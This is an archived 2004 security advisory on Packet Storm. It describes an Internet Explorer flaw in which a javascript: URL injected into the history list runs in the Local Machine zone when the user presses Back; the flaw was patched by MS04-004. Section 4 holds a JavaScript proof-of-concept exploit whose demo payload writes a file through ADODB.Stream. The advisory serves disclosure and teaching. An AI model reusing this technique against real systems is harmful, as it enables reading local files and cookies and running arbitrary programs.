exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

JSinject.txt

JSinject.txt
Posted Feb 3, 2004
Authored by Andreas Sandblad

There lies a way to inject a javascript url in the history list of Microsoft Internet Explorer causing a cross site/zone scripting attack when the user presses the backbutton. An attacker may use this to read arbitrary cookies/local files and execute programs leading to total system compromise if IE is run as administrator.

tags | exploit, arbitrary, local, javascript
SHA-256 | e01b9463a639085838e90199fac938b440e307d2558b62b00d81aa347385b6ed

JSinject.txt

Change Mirror Download

- Sandblad advisory #12 -

/--------------------------------------------------------------/
Title: Inject javascript url in history list (revisited)
Date: 2004-02-03
Software: Internet Explorer
Vendor: http://www.microsoft.com/
Status: Patched by MS04-004
Type: Cross site/zone scripting
Impact: Reading arbitrary cookies/local files
and executing remote programs _ _
o' \,=./ `o
Author: Andreas Sandblad, sandblad@acc.umu.se (o o)
/--=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--/


TABLE OF CONTENTS:
==================
Summary ...................................................... 1
Vendor status ................................................ 2
Details ...................................................... 3
Exploit ...................................................... 4
FAQ .......................................................... 5
Disclaimer ................................................... 6
Feedback ..................................................... 7



(1) SUMMARY:
============
The author has found a way to inject a javascript url in the history list
causing a cross site/zone scripting attack when the user presses the
backbutton. An attacker may use this to read arbitrary cookies/local files
and execute programs leading to total system compromise if IE is run as
administrator. Users can protect themselves by downloading the latest
patch from Microsoft as described in:
http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS04-004.asp



(2) VENDOR STATUS:
==================
2003-09-03:
Microsoft informed about the vulnerability.

2004-02-02:
Microsoft released patched (MS04-004).



(3) DETAILS:
============
The idea to inject javascript urls in the history list is not new. Almost
two years ago I publiced the advisory "Sandblad #4 - Using the backbutton
in IE is dangerous". The technique is quite straightforward and uses that
a javascript url is operating in the same domain as it was applied over.
Hence, it is possible to trigger a cross site/zone scripting attack when
the user presses the backbutton. Liu Die Yu described a similiar way to
inject javascript urls in history list (CAN-2003-1026) in late November
2003 and showed how it was possible to force the user to navigate back
automaticly by using frames.

Internet Explorer tries to remove javascript urls in the history list but
seems to fail in some situations. One way is to link to a resource from a
javascript url with: external.NavigateAndFind('res:','','')
where 'res:' is redirected to the Local Machine zone. When navigating back
the javascript url will be applied over the Local Machine zone.



(4) EXPLOIT:
============

// Andreas Sandblad, 2004-02-03, patched by MS04-004

// Name: payload
// Purpose: Run payload code called from Local Machine zone.
// The code may be arbitrary such as executing shell commands.
// This demo simply creates a harmless textfile on the desktop.
function payload() {
file = "sandblad.txt";
o = new ActiveXObject("ADODB.Stream");
o.Open();
o.Type=2;
o.Charset="ascii";
o.WriteText("You are vulnerable!");
o.SaveToFile(file, 2);
o.Close();
alert("File "+file+" created on desktop!");
}

// Name: trigger
// Purpose: Inject javascript url in history list and run payload
// function when the user hits the backbutton.
function trigger(len) {
if (history.length != len)
payload();
else
return "<title>-</title><body
onload=external.NavigateAndFind('res:','','')>";
}

// Name: backbutton
// Purpose: Run backbutton exploit.
function backbutton() {
location = 'javascript:'+trigger+payload+'trigger('+history.length+')';
}

// Launch backbutton exploit on load
if (confirm("Press OK to run backbutton exploit!"))
backbutton();



(5) FAQ:
========
Q: Is this issue the same as described in CAN-2003-1026?
A: No, but it has some similarities as the attack vector is injection of a
javascript url in the history list. That issue was reported by Liu Die Yu.

Q: I can't get the exploit to work. What is wrong?
A: I did get it to work. Microsoft did get it to work. Making something
work for everybody is hard and not the actual purpose. POC is important
for people to understand and learn, but should never be fine-tuned to work
perfectly.



(6) Disclaimer:
===============
Andreas Sandblad is not responsible for the misuse of the
information provided in this advisory. The opinions expressed
are my own and not of any company. In no event shall the author
be liable for any damages whatsoever arising out of or in
connection with the use or spread of this advisory. Any use of
the information is at the user's own risk.



(7) Feedback: <-- Don't hesitate!
=============
Please send thoughts and comments to: _ _
sandblad@acc.umu.se o' \,=./ `o
(o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
Andreas Sandblad, UmeƄ Sweden.
---=--=---=--=--=---=--=--=--=--=---=--=--=--=--=--=--=--=---=--
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close